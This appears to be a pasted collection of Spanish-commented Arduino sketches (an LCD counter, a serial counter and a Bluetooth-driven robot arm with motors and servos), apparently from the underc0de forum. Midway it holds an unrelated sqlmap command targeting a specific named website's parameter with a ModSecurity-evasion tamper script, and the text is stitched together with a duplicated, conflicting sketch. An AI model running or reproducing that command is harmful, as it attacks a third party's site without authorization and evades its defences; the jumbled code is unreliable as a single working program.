// Importa las librerias

#include <Wire.h>                 
#include <LiquidCrystal_I2C.h>    // Libreria que controla la pantalla LCD
LiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);  // Inicializa el LCD
int cont;  // contador que enviaremos con Serial

/*
 Para descargar la libreria  LiquidCrystal_I2C.h.

https://bitbucket.org/fmalpartida/new-liquidcrystal/downloads/LiquidCrystal_V1.2.1.zip

             
                    _________________
                    |d13         D12| 
                    |3v3         D11| 
                    |REF         D10|     
                    |A0   Arduino D9|
                    |A1    NANO   D8|
                    |A2           D7|
                    |A3           D6|
         SDA (lcd)  |A4           D5| 
         SCL (lcd)  |A5           D4| 
                    |A6           D3| 
                    |A7           D2| 
         VCC (lcd)  |5v          GND| 
                    |RST         RST|
         GND (lcd)  |GND          TR| 
                    |VIN          TX| 
                    |_______________|        
*/
void setup()   { 
  
lcd.begin(16,2);      // Se introduce el tamaño de nuestro LCD  
Serial.begin(9600);  // Establecemos la comunicacion Serial a 9600 baud 
cont =0;
}
void loop() {
  	
lcd.clear();          			     	 	       // Limpia la pantalla
lcd.setCursor(0,0);    						      // Establece la ubicacion
lcd.print("underc0de"); 		   			     // mensaje
lcd.setCursor(0,1);         	   			    // Establece la ubicacion
lcd.print("Contador");     		   			   // mensaje
lcd.setCursor(12,1);       		  			  // Establece la ubicacion
lcd.print(cont);           		  			 // mensaje
delay (1000);           		  			// establece una espera en el codigo
String mensaje="underc0de Contador: ";     // establece el mensaje
Serial.print(mensaje);                    // mensaje por Serial
Serial.println(cont);                    // mensaje por Serial
cont = cont + 1 ;

 }

int cont;  // contador que enviaremos con Serial

void setup()   { 
Serial.begin(9600);  // Establecemos la comunicacion Serial a 9600 baud 
cont =0;
}
void loop() {
  	

delay (1000);           		  			// establece una espera en el codigo
String mensaje="underc0de Contador: ";     // establece el mensaje
Serial.print(mensaje);                    // mensaje por Serial
Serial.println(cont);                    // mensaje por Serial
cont = cont + 1 ;

 }

 --tamper [nombre del tamper]

sqlmap.py -u "https://impulso.com.pe/detalle_marca.php?marca_id=24&cat_id=5" --dbms "MySQL"  -p "marca_id" --tamper "modsecurityzeroversioned.py" --batch 

// incluimos la biblioteca Servo 

#include <SoftwareSerial.h>
#include <Servo.h>   

// Se crean los objetos Servo
Servo servoAngulo;       
Servo servoPinza; 
 

int comando = 0; // variable a la cual de daremos el valor de la que venga por la comunicacion serial

//pines de entrada de motores
int Motor4 = 5;
int Motor3 = 4;
int Motor2 = 3;
int Motor1 = 2;

//angulos de controlpara el servo
int angulo =90;
int anguloPinza =30;
/*

Los pines GND y VCC del Servo no aparecen porque use un regulador de tencion para que no me consumiera toda la bateria 


             
                    _________________
                    |d13         D12| Servo
                    |3v3         D11| Servo
                    |REF         D10|     
                    |A0   Arduino D9|
                    |A1    NANO   D8|
                    |A2           D7|
                    |A3           D6|
                    |A4           D5| Motor3
                    |A5           D4| Motor4
                    |A6           D3| Motor2
                    |A7           D2| Motor1
     VCC bluetooth  |5v          GND| gnd bluetooth, gnd PuenteH(para igualar tierra)
                    |RST         RST|
     - 9v, - PunteH |GND          TR| tr bluetooh
     + 9v, + PunteH |VIN          TX| tx bluetooh
                    |_______________|        

*/

void setup() {

//inicializar servos
servoAngulo.attach(12); 
servoPinza.attach(11); 

//se declaran como OUTPUT los pines para controlar los motores junto al puente H
pinMode (Motor3, OUTPUT); 
pinMode (Motor4, OUTPUT); 
pinMode (Motor2, OUTPUT);
pinMode (Motor1, OUTPUT);

 // Se declara la recepcion Serial a 9600 baud
Serial.begin(9600);
}
 
void loop() {
//si viene algo por Serial se continua
if(Serial.available() > 0){
//el contenido de Serial se guarda en comando
comando = Serial.read();
}


   if (comando == '1') {
        digitalWrite (Motor3, HIGH);
        digitalWrite (Motor4, LOW);
        digitalWrite (Motor2, HIGH);
        digitalWrite (Motor1, LOW);
        Serial.println("Derecha");
        delay(20);
   }
   else if (comando == '0') {
        digitalWrite (Motor3, LOW);
        digitalWrite (Motor4, HIGH);
        digitalWrite (Motor1, HIGH);
        digitalWrite (Motor2, LOW);
        Serial.println("izquierda");
        delay(20);
   }
   else if (comando == '3') {
        digitalWrite (Motor3, HIGH);
        digitalWrite (Motor4, LOW);
        digitalWrite (Motor1, HIGH);
        digitalWrite (Motor2, LOW);
        Serial.println("Abajo");
        delay(20);
   }
   else if (comando == '4') {
        digitalWrite (Motor4, HIGH);
        digitalWrite (Motor3, LOW);
        digitalWrite (Motor2, HIGH);
        digitalWrite (Motor1, LOW);
        Serial.println("Arriba");
        delay(20);
   }
   else if (comando == '5') {
   //servo arriba
         angulo = angulo + 5;
        Serial.println(angulo);
        servoAngulo.write(angulo);               
        delay(15);                        
        angulo =constrain(angulo,0,180);
        Serial.println("angulo arriba");
   }
   else if (comando == '6') {
       angulo = angulo - 5;
        Serial.println(angulo);
        servoAngulo.write(angulo);               
        delay(15); 
        angulo =constrain(angulo,0,180);
        Serial.println("angulo abajo");


   }
   else if (comando == '8') {
        anguloPinza = anguloPinza + 5;
        Serial.println(anguloPinza);
        servoPinza.write(anguloPinza);               
        delay(15);                                  
        anguloPinza =constrain(anguloPinza,0,180);
   Serial.println("pinza cierra");
   }
   else if (comando == '9') {
       anguloPinza = anguloPinza - 5;
       Serial.println(anguloPinza);
       servoPinza.write(anguloPinza);               
       delay(15);                                  
       anguloPinza =constrain(anguloPinza,0,180);
       Serial.println("pinza abre");

   }else{
        // se ponen todos los valores en LOW para detener la detener los motores hasta que llege una nueva orden
        digitalWrite (Motor3, LOW); 
        digitalWrite (Motor4, LOW); 
        digitalWrite (Motor2, LOW); 
        digitalWrite (Motor1, LOW); 
   }
}